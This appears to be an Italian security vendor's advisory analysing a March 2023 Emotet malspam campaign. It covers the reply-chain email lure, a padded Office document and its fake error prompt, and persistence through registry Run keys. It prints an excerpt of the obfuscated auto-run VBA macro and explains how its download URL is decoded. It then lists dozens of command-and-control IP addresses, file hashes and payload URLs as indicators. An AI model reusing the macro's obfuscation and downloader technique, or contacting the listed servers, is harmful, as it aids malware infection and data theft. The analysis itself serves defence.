Nel tardo pomeriggio del 7 marzo 2023 il
#CRAM di
#TG Soft ha riscontrato la ripresa delle attività di diffusione di MalSpam per veicolare il malware
Emotet attraverso la sua Botnet denominata
Epoch4.
Il malware
Emotet, una volta infettato il PC della vittima effettua attività di esfiltrazione password/dati ed inoltre utilizza il PC infetto per inviare ulteriori messaggi email di Malspam per la diffusione del malware stesso. Può inoltre scaricare ulteriori malware come anche varianti di Ransomware/CryptoMalware.
Di seguito vediamo un esempio di una mail utilizzata per diffondere il malware
EMOTET:

Questa email utilizza la tecnica della "reply-chain" ovvero il messaggio contiene parti di email reali rubate dal Malware Emotet ed utilizzate per creare messaggi maggiormente credibili. La vittima infatti è più facilmente ingannata dalla familiarità del contenuto.
All'interno della mail troviamo un file .zip che contiene un documento di Office (.doc).
Una volta estratto, il file risulta essere di grandi dimensioni. Infatti si aggira intorno ai 500 MB. La dimensione è dovuta alla presenza di "null bytes" appesi alla fine del file. Questa tecnica è stata già usata in passato dai cyber-criminali per rendere più difficile la loro intercettazione da parte dei programmi AntiMalware. Una volta rimossi i "null bytes", la dimensione del file si riduce notevolmente fino ad arrivare a meno di 1 MB.
Aprendo il file verrà mostrato un falso messaggio di errore, che con una scusa invita l'utente ad abilitare la macro. Emotet sfrutta diverse immagini esca durante le varie campagne di MalSpam giornaliere. Di seguito vediamo l'immagine esca denominata "Red Dawn" utilizzata nella campagna analizzata:

Se confermata la richiesta di attivazione, la MACRO viene eseguita.
La MACRO risulta essere offuscata per ridurne le possibilità di intercettazione. Questa contiene il codice da eseguire per effettuare il download e l'esecuzione del Payload portando all'infezione del PC.
Clicca per vedere un estratto del codice offuscato:
Sub AutoOpen() Dim aJRSJ As String Dim VzuVIc As String Dim d As String Dim jSmwz(56) As Long Dim QbnLCeBS As Long Dim ytC As Integer ytC = 36 QbnLCeBS = ytC
d=":utjaxnBx/HVSaMkuuhX.mSOfCHZCdldrawquwjnpdULCMkisdskQsnGwecceXrmQkxW/cSsslXKbtmhkmhXnWpSaoKg/tIgytVoXOjSwhmskNnSMXFX5vcBjdFO6cWjm/BMept-MQntsrakifOaYJRxDUws/envGpAVgnwLXdIltxbHwvpzuZisi" Dim U As Integer U = 19 jSmwz(0) = U Dim iKZLDRc As Integer iKZLDRc = 3 jSmwz(1) = iKZLDRc Dim fSVtgxU As Integer fSVtgxU = 3 jSmwz(2) = fSVtgxU Dim kCPNtWkV As Integer kCPNtWkV = 41 jSmwz(3) = kCPNtWkV Dim WCt As Integer WCt = 1 jSmwz(4) = WCt Dim hftErpc As Integer hftErpc = 10 jSmwz(5) = hftErpc Dim KzUGuQA As Integer KzUGuQA = 10 jSmwz(6) = KzUGuQA Dim hDU As Integer hDU = 16 jSmwz(7) = hDU Dim MYa As Integer MYa = 92 jSmwz(8) = MYa Dim KOblJY As Integer KOblJY = 49 jSmwz(9) = KOblJY Dim ESvDQRl As Integer ESvDQRl = 7 jSmwz(10) = ESvDQRl Dim ZKmEZy As Integer ZKmEZy = 21 jSmwz(11) = ZKmEZy Dim fPdDcmHb As Integer fPdDcmHb = 49 jSmwz(12) = fPdDcmHb Dim Cb As Integer Cb = 2 jSmwz(13) = Cb Dim pIJIlD As Integer pIJIlD = 10 jSmwz(14) = pIJIlD Dim uvkhJ As Integer uvkhJ = 35 jSmwz(15) = uvkhJ Dim nwh As Integer nwh = 41 jSmwz(16) = nwh Dim GDHFh As Integer GDHFh = 136 jSmwz(17) = GDHFh Dim JIKxeXaV As Integer JIKxeXaV = 48 jSmwz(18) = JIKxeXaV Dim ivuWHT As Integer ivuWHT = 7 jSmwz(19) = ivuWHT Dim CgGeiF As Integer CgGeiF = 59 jSmwz(20) = CgGeiF Dim Yd As Integer Yd = 31 jSmwz(21) = Yd Dim hzroOc As Integer hzroOc = 2 jSmwz(22) = hzroOc Dim oXd As Integer oXd = 30 jSmwz(23) = oXd Dim uN As Integer uN = 58 jSmwz(24) = uN Dim AUnenK As Integer AUnenK = 49 jSmwz(25) = AUnenK Dim lCKYrb As Integer lCKYrb = 10 jSmwz(26) = lCKYrb Dim TPkq As Integer TPkq = 48 jSmwz(27) = TPkq Dim dnhRBxrB As Integer dnhRBxrB = 125 jSmwz(28) = dnhRBxrB Dim nCft As Integer nCft = 117 jSmwz(29) = nCft Dim iTXGex As Integer iTXGex = 12 jSmwz(30) = iTXGex Dim hjuNrHW As Integer hjuNrHW = 95 jSmwz(31) = hjuNrHW Dim gySs As Integer gySs = 15 jSmwz(32) = gySs Dim MqgIasZX As Integer MqgIasZX = 151 jSmwz(33) = MqgIasZX Dim pllPm As Integer pllPm = 25 jSmwz(34) = pllPm Dim TMgtM As Integer TMgtM = 10 jSmwz(35) = TMgtM Dim ZBjJzGy As Integer ZBjJzGy = 89 jSmwz(36) = ZBjJzGy Dim Ji As Integer Ji = 122 jSmwz(37) = Ji Dim QzaPk As Integer QzaPk = 116 jSmwz(38) = QzaPk Dim LiEcLSeO As Integer LiEcLSeO = 169 jSmwz(39) = LiEcLSeO Dim WlV As Integer WlV = 73 jSmwz(40) = WlV Dim UiuEh As Integer UiuEh = 22 jSmwz(41) = UiuEh Dim uDtdlGP As Integer uDtdlGP = 53 jSmwz(42) = uDtdlGP Dim lmIXFKPJ As Integer lmIXFKPJ = 102 jSmwz(43) = lmIXFKPJ Dim LChq As Integer LChq = 65 jSmwz(44) = LChq Dim pphlFJ As Integer pphlFJ = 20 jSmwz(45) = pphlFJ Dim EWTfAC As Integer EWTfAC = 155 jSmwz(46) = EWTfAC Dim HuG As Integer HuG = 36 jSmwz(47) = HuG Dim WfkpOngw As Integer WfkpOngw = 84 jSmwz(48) = WfkpOngw Dim JQMdJqPV As Integer JQMdJqPV = 163 jSmwz(49) = JQMdJqPV Dim VatAhZ As Integer VatAhZ = 63 jSmwz(50) = VatAhZ Dim ewmYo As Integer ewmYo = 111 jSmwz(51) = ewmYo Dim YdVfEuz As Integer YdVfEuz = 133 jSmwz(52) = YdVfEuz Dim iUYWb As Integer iUYWb = 182 jSmwz(53) = iUYWb Dim yVT As Integer yVT = 59 jSmwz(54) = yVT Dim TsIZlHDN As Integer TsIZlHDN = 182 jSmwz(55) = TsIZlHDN VzuVIc = SSzyRyUh(d, jSmwz, QbnLCeBS)
I comandi sono offuscati e vengono estratti tramite la funzione SSzyRyUh().
Questa funzione accetta 3 parametri:
- la stringa apparentemente casuale
- un array di posizioni
- la lunghezza della stringa finale
Ad esempio la stringa "casuale":
utjaxnBx/HVSaMkuuhX.mSOfCHZCdldrawquwjnpdULCMkisdskQsnGwecceXrmQkxW/cSsslXKbtmhkmhXnWpSaoKg/tIgytVoXOjSwhmskNnSMXFX5vcBjdFO6cWjm/BMept-MQntsrakifOaYJRxDUws/envGpAVgnwLXdIltxbHwvpzuZisi |
indicata sopra, viene deoffuscata mediante un array con le seguenti posizioni:
"19, 3, 3, 41, 1, 10, 10, 16, 92, 49, 7, 21, 49, 2, 10, 35, 41, 136, 48, 7, 59, 31, 2, 30, 58, 49, 10, 48, 125, 117, 12, 95, 15, 151, 25, 10, 89, 122, 116, 169, 73, 22, 53, 102, 65, 20, 155, 36, 84, 163, 63, 111, 133, 182, 59, 182" |
Di queste posizioni ne verranno utilizzate solo le prime
36 che permettono di ottenere la stringa deoffuscata
"http://kgsn[.]su/wp-includes/i65VIMRf/".
Effettuato il download di un file compresso, la macro procede a decomprimerlo e alla fine ad eseguirlo per dare inizio all'infezione del PC.
Il Payload di
Emotet è una DLL che viene avviata tramite il processo
regsvr32.exe di Windows.
A questo punto possono essere distinti due casi: il primo quando la DLL è viene eseguita con permessi di amministratore, ed il secondo quando la DLL viene eseguita con permessi limitati di utente standard.
- Utente amministratore: la DLL viene copiata nel percorso "C:\Windows\system32" dove crea una cartella con un nome casuale. La persistenza è ottenuta mediante la chiave di registro di RUN al percorso "HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run".
- Utente standard: la DLL viene copiata all'interno di "%localappdata%" dove crea una cartella con un nome casuale. La persistenza è ottenuta mediante la chiave di registro di RUN al percorso "HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run"
Successivamente il malware rimane attivo nel PC infetto effettuando la comunicazione con i server di comando e controllo (C2). Dal server di comando e controllo riceverà i comandi per le attività da svolgere nella macchina infetta come ad esempio:
- Aggiornamento di Emotet stesso
- Esfiltrazione dati e/o informazioni
- Download ed esecuzione di ulteriori payload
- Avvio delle attività di malspam
Vediamo i dettagli della DLL analizzata:
Nome File |
5Md2yh6uPNPJJqeiASdvY.dll |
Dimensione |
564666075 bytes |
SHA-256 |
6A13EC3F13380E8434DEBC4A65B64DFC3005443B96335256221623E7D50E1911 |
Data compilazione |
2023-03-08 17:24:36 |
Botnet |
Epoch4 |
Dall'analisi del payload e delle sue attività, sono stati individuati 3 tipologie di server di comando e controllo.
La prima tipologia è composta da 49 indirizzi IP:
91.121.146.47:8080
66.228.32.31:7080
182.162.143.56:443
187.63.160.88:80
167.172.199.165:8080
164.90.222.65:443
104.168.155.143:8080
91.207.28.33:8080
72.15.201.15:8080
183.111.227.137:8080
103.132.242.26:8080
159.65.88.10:8080
173.212.193.249:8080
82.223.21.224:8080
172.105.226.75:8080
103.43.75.120:443
167.172.253.162:8080
1.234.2.232:8080
159.89.202.34:443
186.194.240.217:443
185.4.135.165:8080
139.59.126.41:443
164.68.99.3:8080
95.217.221.146:8080
129.232.188.93:443 |
45.176.232.124:443
163.44.196.120:8080
79.137.35.198:8080
153.92.5.27:8080
160.16.142.56:8080
202.129.205.3:8080
201.94.166.162:443
119.59.103.152:8080
153.126.146.25:7080
188.44.20.25:443
115.68.227.76:8080
147.139.166.154:8080
149.56.131.28:8080
107.170.39.149:8080
213.239.212.5:443
197.242.150.244:8080
206.189.28.199:8080
5.135.159.50:443
169.57.156.166:8080
103.75.201.2:443
110.232.117.186:8080
94.23.45.86:4143
45.235.8.30:8080
101.50.0.91:8080 |
Questo primo gruppo di C2 è localizzato in
Brasile, Stati Uniti, Corea del Sud, Tailandia, Francia, Singapore, Regno Unito, Australia, Sud Africa, Giappone, Indonesia, Germania, Kirghizistan, India, Spagna, Giappone, Grecia, Finlandia, Colombia, Macedonia del Nord, Canada:
La seconda tipologia è composta da 10 indirizzi IP:
54.37.136.187:443
178.128.23.9:7080
45.55.44.204:7080
190.90.233.69:443
213.32.75.32:8080 |
91.207.181.106:443
178.128.82.218:443
165.22.211.113:8080
178.128.31.80:443
103.159.224.46:8080 |
Il secondo gruppo di C2 è localizzato in Singapore, Francia, Stati Uniti, Colombia, Russia, India, Indonesia:
La terza tipologia è composta da 15 indirizzi IP:
162.243.103.246:8080
104.248.155.133:443
165.22.230.183:7080
1.234.21.73:8080
103.63.109.9:8080
165.227.166.238:8080
79.137.13.24:443
198.199.65.189:8080 |
167.172.248.70:8080
95.111.233.254:8080
104.236.5.228:8080
128.199.24.148:8080
27.254.65.114:8080
146.59.151.250:443
159.65.3.147:7080 |
Il terzo gruppo di C2 è localizzato negli Stati Uniti, Singapore, Germania, Francia, Canada, Corea del Sud, Vietnam, India, Tailandia:
I server di Comando e Controllo sono divisi in tipologie in base alle attività svolte, il primo gruppo è il gruppo di server iniziale che viene utilizzato nella fase di comunicazione principale. Gli altri gruppi vengono recuperati in seguito e sono associati alle attività successive del malware
Emotet.
IOC:
fatturamarzo.doc -> 97E1599DD34D800B694A7C9F202A03C45CFA05D6D3B6C86F125E7F42DB5237F1
5Md2yh6uPNPJJqeiASdvY.dll - > 6A13EC3F13380E8434DEBC4A65B64DFC3005443B96335256221623E7D50E1911
http://kgsn[.]su/wp-includes/i65VIMRf/
http://mama-mia[.]su/images/HNh3uWHxHCdqwQvBj/
https://kanzler-style[.]com/images/TKzFbbTT/
http://heyharryworldwide[.]com/cgi-bin/Jms7
http://igryshka[.]com/about/TV/gw/
https://chefshop[.]kz/bitrix/i7TCSWqoZ93MWdb/
https://bugry[.]rent/2dec45dbc6/Elg6rjXOOxX/
https://maxidom[.]su/ufabon/1ucxMrl5AiGKl1yy/ |
Scopri se sei target di Emotet!
Di seguito vediamo la localizzazione del dominio utilizzato come Real Sender per l'invio di messaggi malevoli monitorati dal servizio
HAVEiBeenEMOTET del giorno 08/03/2023:
Come si può notare l'Italia si è piazzata al quarto posto (tolte le estensioni generiche) con il 6% degli indirizzi catalogati come Real Sender, ovvero gli indirizzi utilizzati per l'effettivo invio dei messaggi malevoli. Tolte le estensioni generiche, l'estensione geografica più utilizzata con ben l'11% è stata quella giapponese.
Informativa redatta da:
Michele Zuin
Radu Breabin
Massimo Canova